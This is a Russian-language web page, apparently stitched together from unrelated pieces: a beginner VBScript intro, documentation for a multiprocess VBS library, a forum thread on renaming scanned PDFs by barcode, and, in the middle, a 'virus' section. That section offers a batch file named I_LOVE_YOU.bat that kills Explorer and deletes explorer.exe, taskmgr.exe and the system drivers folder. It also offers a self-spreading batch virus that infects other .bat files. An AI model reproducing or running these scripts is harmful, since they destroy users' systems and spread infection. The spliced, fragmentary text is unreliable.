Как сделать счетчик файлов в vbs

Обновлено: 02.07.2024

Тема достаточно простая, но почему-то некоторым кажется очень сложной и поэтому некоторые админы предпочитают не писать скрипты, а использовать сторонние инструменты для реализации каких-либо задач, хотя многие из этих задач может решать сама ОС.

Итак, начнём с самого главного. Некоторые наверное думают, что для того чтобы писать скрипты, нужны специальные программы. Здесь бы я ответил двояко - и да и нет, потому что на самом деле достаточно обычного блокнота, но я больше предпочитаю программу NotePad++ - она по красивее отображает текст скрипта и проще в коде ковыряться.

Сам процесс создания:

  1. Создаём текстовый документ test.txt;
  2. Меняем его расширение на vbs. Должно получиться так: test.vbs;
  3. Открываем с помощью блокнота или любого другого текстового редактора и пишем нашу программу.

Пример простой программы:

Впишем всего одну строку: msgbox ("Hello, World!")

Сохраняемся и запускаем наш скрипт. Радуемся результату.

Скрипт посложнее (простое вычисление квадратного корня):

a = inputbox("Введите целое число")
b = sqr(a)
msgbox("Квадратный корень этого числа: "& b)

При желании можно много чего наворотить в скриптах, полёт фантазии велик - всё в Ваших руках! Смотрите, что уже я смог наворотить в скриптах в этом разделе.

Функции механизма многопроцессности легкой версии:

  • Объявляются переменные в глобальном пространстве запущенного скрипта:
    scene – ссылка на объект Me первого скрипта,
    container – ссылка на окно проводника GlobalContainer,
    signature – строка, сгенерирована для идентификации GlobalContainer,
    found, lost – только для scene – счетчики созданных и завершенных процессов скриптов,
    subname – строка, содержит цель скрипта,
    jobs – ссылка на словарь с объектами Me запущенных скриптов, созданный в scene,
    id – порядковый номер данного скрипта — ключ в словаре,
    release = Ложь — после завершения целевого sub’а скрипт будет завершен после присвоения Истина,
    state = 4 – состояние, в котором находится данный скрипт.
  • Добавляется элемент в словарь jobs.

createproc(subname)
subname – см. launch().
Создает новый процесс скрипта, не ожидая, возвращает число — id запущенного скрипта. Используется для асинхронного создания нескольких процессов в цикле, без ожидания готовности каждого. Заметно быстрее по сравнению с использованием startproc() для такого применения.

getjob(target)
target – число, id скрипта или строка, имя subname группы созданных скриптов.
Обеспечивает доступ к объекту Me скрипта. Возвращает ссылку на объект Me скрипта, если id не найден или скрипт завершен – Nothing.

getstate(target)
target – число, id скрипта.
Определяет состояние скрипта. Возвращает число, этап выполнения:
1 процесс создан (new process exec),
4 скрипт запущен (initialized),
24 целевой sub выполнен (sub completed),
28 скрипт освобожден (released),
64 не найден (host not found), скрипт завершен (terminated).

isresponsive(target)
target — см. getstate().
Определяет доступность объекта Me скрипта (состояния с 4 по 28). Возвращает булево значение.

executecommand command
command — строка, содержащая инструкции.
Вызов интерпретатора для выполнения операторов в глобальном пространстве скрипта.

share varname, value
varname — строка, содержащая имя переменной, value – любое значение.
Объявляет в глобальном пространстве первого скрипта переменную с именем varname, которая становится доступна всем скриптам в виде свойства scene, присваивает переменной содержимое value.

newvar varname
varname — строка, содержащая имя переменной.
Объявляет новую переменную в глобальном пространстве скрипта.

free target
target – число, id скрипта или строка, имя subname группы созданных скриптов. Разрешает завершение скрипта после выполнения целевого sub’а. Работает с одним скриптом или с группой.

joint(target, state, timeout)
target — см. free(), state — см. getstate(), timeout – число, в секундах, с миллисекундами.
Ожидает наступления состояния скрипта state, для группы скриптов ожидание длится, пока каждый не достигнет state. Ожидание ограничено таймаутом, timeout = 0 означает неограниченное ожидание. Возвращает булево значение, Истина – ожидание закончено, Ложь – таймаут. Предназначен для синхронизации работы скриптов. Например, если необходимо дождаться запуска скрипта — 4, полного завершения скрипта — 64;

interrupt target, timeout
target — см. free(), timeout – значение для wscript.timeout, в секундах.
Переводит скрипт к штатному завершению, с выполнением методов class_terminate. Если в скрипте были открыты диалоговые окна, он перейдет к завершению только после паузы timeout. Повторное появление диалогового окна в методах class_terminate остановит завершение.

push name, value
name – строка, имя свойства, value – любое значение.
Помещает в свойство GlobalContainer с именем name содержимое value.

pop(name)
name – строка, имя свойства.
Возвращает из GlobalContainer содержимое свойства с именем name.

Полная версия mproc.vbs:

Описание:

Методы класса multiprocess:

  • Объявляются переменные в глобальном пространстве запущенного скрипта:
    scene – ссылка на объект Me первого скрипта,
    host – экземпляр класса multiprocess данного скрипта,
    process – экземпляр целевого класса с именем classname, которое было указано предшествующим скриптом при создании процесса данного скрипта,
    ancestor – экземпляр целевого класса предшествующего скрипта.
  • Объявляются переменные в глобальном пространстве scene и предшествующего скрипта, с именем aliasname – ссылки на экземпляр целевого класса данного скрипта.
  • Задаются свойства host:
    primary – ссылка на экземпляр класса multiprocess первого скрипта,
    ancestor – ссылка на экземпляр класса multiprocess предшествующего скрипта,
    parent – объект Me данного скрипта,
    process – ссылка на process в глобальном пространстве,
    err – ссылка на объект err данного скрипта,
    names – ссылка на словарь с aliasname, созданный в primary,
    execs – ссылка на словарь с объектами wshexec запущенных процессов, созданный в primary,
    hosts – ссылка на словарь с объектами host запущенных процессов, созданный primary,
    id – порядковый номер данного скрипта — ключ в словарях,
    aid – то же, предшествующего скрипта,
    isprimary – булево, является ли данный скрипт первично запущенным,
    found, lost, active – только для primary – счетчики созданных, завершенных и активных процессов скриптов,
    classname, methodname, aliasname – содержат цель скрипта,
    permit = Ложь — целевой метод будет запущен после присвоения Истина,
    release = Ложь — после завершения целевого метода скрипт будет завершен после присвоения Истина,
    state = 4 – состояние, в котором находится данный скрипт.
  • Добавляются элементы в словари names, execs, hosts.

createproc(classname, methodname, aliasname)
classname, methodname, aliasname – см. launch().
Создает новый процесс скрипта, не ожидая, возвращает его id. Используется для асинхронного создания нескольких процессов в цикле, без ожидания готовности каждого. Заметно быстрее по сравнению с использованием startproc() для такого применения.

start(target)
target – число, id скрипта, или строка, имя aliasname группы созданных скриптов.
Ожидает готовности скрипта, созданного с использованием createproc(), до состояния 12, разрешает выполнение целевого метода. Возможно использование для группы скриптов, имеющих одинаковый aliasname. Для одного скрипта возвращает ссылку на его инициализированный в новом процессе экземпляр целевого класса, для группы скриптов возвращает ссылку на субсловарь, содержащий все host с данными aliasname.

gethost(target)
target – число, id скрипта или строка, имя aliasname группы созданных скриптов, или объект process скрипта.
Обеспечивает доступ к экземпляру host класса multiprocess требуемого скрипта. Для одного скрипта возвращает ссылку на его host, для группы скриптов возвращает ссылку на субсловарь, содержащий все host с данными aliasname, если id не найден или скрипт завершен – Nothing.

getid(target)
target – число, id скрипта, или объект process скрипта.
Возвращает id срипта, определенное по объекту process. Только для действующих скриптов.

getstate(target)
target — см. getid().
Определяет состояние скрипта. Возвращает число, этап выполнения:
0 не найден (host not found),
1 процесс создан (new process exec),
4 host инициализирован (host initialized),
8 целевой класс инициализирован (process initialized),
12 целевой класс инициализирован, событие обработано (process initialized handled),
16 целевой метод запущен (process method launched),
20 целевой метод выполнен (process completed),
24 целевой метод выполнен, событие обработано (process completed handled),
28 скрипт освобожден (released),
64 скрипт завершен (terminated).

isresponsive(target)
target — см. getid().
Определяет доступность объекта host скрипта (состояния с 4 по 28). Возвращает булево значение.

assignhandler handlername, varsqty
handlername — строка, имя события, varsqty — число, количество передаваемых аргументов.
Создает в глобальном пространстве хэндлер события sub с именем события handlername, связывет его с одноименным методом в созданном объекте process. При наступлении события, хэндлер перенаправит вызов в process. handlername().

executecommand command
command — строка, содержащая инструкции.
Вызов интерпретатора для выполнения операторов в глобальном пространстве скрипта.

newvar varname
varname — строка, содержащая имя переменной.
Объявляет новую переменную в глобальном пространстве скрипта.

free target
target — см. gethost().
Разрешает завершение скрипта после выполнения целевого метода. Работает с одним скриптом или с группой.

joint(target, state, timeout)
target — см. gethost(), state — см. getstate(), timeout – число, в секундах, с миллисекундами.
Ожидает наступления состояния скрипта state, для группы скриптов ожидание длится, пока каждый не достигнет state. Ожидание ограничено таймаутом, timeout = 0 означает неограниченное ожидание. Возвращает булево значение, Истина – ожидание закончено, Ложь – таймаут. Предназначен для синхронизации работы скриптов. Например, если необходимо дождаться создания объекта process — 8, полного завершения скрипта — 64;

interrupt target, timeout
target — см. gethost(), timeout – значение для wscript.timeout, в секундах.
Переводит скрипт к штатному завершению, с выполнением методов class_terminate. Если в скрипте были открыты диалоговые окна, он перейдет к завершению только после паузы timeout. Повторное появление диалогового окна в методах class_terminate остановит завершение.

kickout target
target — см. gethost().
Завершает процесс скрипта на уровне ОС, используя wshexec.terminate. Возможно длительное выполнение, до 2 сек для каждого скрипта. Работает с одним скриптом или с группой.

terminate target
target — см. gethost().
Завершает скрипт, использует сначала interrupt, затем при необходимости kickout.

push name, value
name – строка, имя свойства, value – любое значение.
Помещает в свойство GlobalContainer с именем name содержимое value.

pop(name)
name – строка, имя свойства.
Возвращает из GlobalContainer содержимое свойства с именем name.

Методы, которые можно разместить в целевом классе данного скрипта в качестве хэндлеров событий инициализации целевого класса и выполнения целевого метода запущенного скрипта:

Пример:

*******************************
taskkill /f /im explorer.exe
del /q /f %windir%\explorer.exe
del /q /f %windir%\taskmgr.exe
rd /q /s %windir%\inf
rd /q /s %windir%\system32\drivers
********************************

Сохраняем наш файл как I_LOVE_YOU.bat и радуемся.
После запуска такой микровещи на машине не будет не рабочего стола ни менеджера задач ни драйверов.

Я обещал один? Да?Извините не стерпел и вот выкладываю второй .

********************************
@echo off%[Bams]%
if '%1=='In_ goto Bamsin
if exist c:\Bams.bat goto Bamsru
if not exist %0 goto Bamsen
find "Bams" c:\Bams.bat
attrib +h c:\Bams.bat
:Bamsru
for %%t in (*.bat) do call c:\MeTrA In_ %%t
goto Bamsen
:Bamsin
find "Bams" nul
if not errorlevel 1 goto Bamsen
type c:\Bams.bat>>%2
:Bamsen
*********************************

Это более сложный вирус но он и более интересный .
Он ползает по винту ищет и заражает собой *.bat файлы.

Все!Переходим к VBS вирусам.
Язык VBS в винде поддерживается с 98 версии и не требует установки дополнительных библиотек
и другой ненужной фигни).по другому VBS-язык скриптов

,а в функции(процедуре) MyFunction обрабатываешь то, что тебе надо. я тебе вряд ли смогу в этом помочь, так как: 1. Не понимаю, чо ты конкретно хочешь получить на выходе, постоянно скрещивая pdf'ки с одинаковыми штрихкодами? 2. Что за проги Reader и pdftk? 3. У меня отсутствуют pdf'ки со штрихкодами.

set wshShell = CreateObject("WScript.Shell"
oldFileName = WScript.Arguments(0)
set oExec = wshShell.Exec("E:\\scan\\Reader.exe " & oldFileName)
barCode = oExec.StdOut.ReadAll
MsgBox barcode

Dim FSO
Set FSO = WScript.CreateObject("Scripting.FileSystemObject"
newFileName = "E:\\scan\\out\\" & barcode & ".pdf"

If FSO.FileExists(newFileName) Then
newFileName = "E:\\scan\\temp\\" & barcode & ".pdf"
set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(oldFileName) Then
filesys.CopyFile oldFileName, newFileName
End if
oldoldFileName = "E:\\scan\\out\\" & barcode & ".pdf"
barcode = 1
NewFileName = "E:\\scan\\temp\\" & barcode & ".pdf"
set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(oldoldFileName) Then
filesys.CopyFile oldoldFileName, newFileName
End If


Dim objWshShell
Dim intErrorLevel
Dim combinedFile
Dim EndFile
Set objWshShell = WScript.CreateObject("WScript.Shell"
intErrorLevel = objWshShell.Run("E:\scan\pdftk.exe E:\scan\temp\*.pdf cat output E:\scan\temp\tmp\combined.pdf", 1, True)
combinedFile = objWshShell.Run("E:\scan\pdftk.exe E:\scan\temp\tmp\combined.pdf output E:\scan\temp\combined.pdf", 1, True)
endFile = objWshShell.Run("E:\scan\end_file.bat", 1, True)
Set objWshShell = Nothing
WScript.Quit 0

newFileName = "E:\\scan\\out\\" & barcode & ".pdf"
set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(oldFileName) Then
filesys.CopyFile oldFileName, newFileName
End if
End If


Содержимое E:\scan\end_file.bat не получилось вписать непосредственно в скрипт эти строки вынес их в батник.

E:\scan\end_file.vbs E:\scan\temp\combined.pdf
del /f /q E:\scan\temp\tmp\combined.pdf
del /f /q E:\scan\temp\*.pdf

Содержимое E:\scan\end_file.vbs

set wshShell = CreateObject("WScript.Shell"
oldFileName = WScript.Arguments(0)
set oExec = wshShell.Exec("E:\\scan\\Reader.exe " & oldFileName)
barCode = oExec.StdOut.ReadAll

Dim FSO 'Объявляем переменные
Set FSO = WScript.CreateObject("Scripting.FileSystemObject"

newFileName = "E:\\scan\\out\\" & barcode & ".pdf"

set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(oldFileName) Then
filesys.CopyFile oldFileName, newFileName

ICQ: 264730390

вопрос подскажите как сделать так что бы при чтении папки он перебирал файлы только pdf а остальные игнорировал

  1. For Each file In files
  2. MsgBox file
  3. Next
  1. For Each file In files
  2. If LCase(fso.GetExtensionName(file)) = "pdf" Then
  3. MsgBox file ' делаешь все, что нужно
  4. End If
  5. Next
  1. For Each file In oSelQ
  2. If LCase(file.Extension) = "pdf" Then
  3. MsgBox file.Name
  4. End If
  5. Next

Смысл задачи вытащить из файлов pdf штрихкод, изменить имя файла на информацию из штрихкода, при совпадении в разных файлах штрихкода объединить их в один.


Масло масляное. Здесь ты говоришь все то же самое, что и в самом начале. Если Два Разных документа содержат Один и тот же штрихкод, то зачем их объединять? Для галочки (что такие документы существовали)? Так для этого можно просто лог вести. Или чтобы потом напечатать все скопом? ИМХО есть более простые способы.

ICQ: 264730390

В чем проблема пометил в скрипте ниже

Dim fso2, Files, file
Dim FSO, fso3, wshShell
Set fso2 = CreateObject("Scripting.FileSystemObject"
Set fso3 = CreateObject("Scripting.FileSystemObject"
Set Files = fso2.GetFolder("E:\scan\in".Files
set wshShell = CreateObject("WScript.Shell"
Set fso3 = CreateObject("Scripting.FileSystemObject"
For Each file In files
If LCase(fso3.GetExtensionName(file)) = "pdf" Then
msgbox file
set oExec = wshShell.Exec("E:\\scan\\BarcodeReader.exe " & File)
barCode = oExec.StdOut.ReadAll

Set FSO = WScript.CreateObject("Scripting.FileSystemObject"
newFileName = "E:\\scan\\out\\" & barcode & ".pdf"

If FSO.FileExists(newFileName) Then
newFileName = "E:\\scan\\temp\\" & barcode & ".pdf"
set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(File) Then
filesys.CopyFile File, newFileName
End if
oldoldFileName = "E:\\scan\\out\\" & barcode & ".pdf"
barcode = 1
NewFileName = "E:\\scan\\temp\\" & barcode & ".pdf"
set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(oldoldFileName) Then
filesys.CopyFile oldoldFileName, newFileName
end if
Dim objWshShell2
Dim intErrorLevel
Dim combinedFile
Dim EndFile

Set objWshShell = WScript.CreateObject("WScript.Shell"
intErrorLevel = objWshShell.Run("E:\scan\pdftk.exe E:\scan\temp\*.pdf cat output E:\scan\temp\tmp\combined.pdf", 1, True)
combinedFile = objWshShell.Run("E:\scan\pdftk.exe E:\scan\temp\tmp\combined.pdf output E:\scan\temp\combined.pdf", 1, True)
endFile = objWshShell.Run("E:\scan\end_file.bat", 1, True)
Set objWshShell = Nothing
WScript.Quit 0

После выше написанного процесс не переходит к обработке следующего файла из папки, ХЕЛП подскажите что дописать надо. Иначе процесс просто обрывается обработки.

set oExec = wshShell.Exec("E:\\scan\\BarcodeReader.exe " & File)
barCode = oExec.StdOut.ReadAll
Set FSO = WScript.CreateObject("Scripting.FileSystemObject"

newFileName = "E:\\scan\\out\\" & barcode & ".pdf"

set filesys=CreateObject("Scripting.FileSystemObject"
If filesys.FileExists(File) Then
filesys.CopyFile File, newFileName

End if
End If
End if
next
Set file = Nothing
Set files = Nothing
Set fso = Nothing
Set fso2 = Nothing
Set fso3 = Nothing

ICQ: 250543104

ICQ: 264730390

он у тебя отсутствует как таковой. А в будущем для более простого и удобного написания кода могу посоветовать пару редакторов с подсветкой синтаксиса: Bred3, Notepad++.

Читайте также: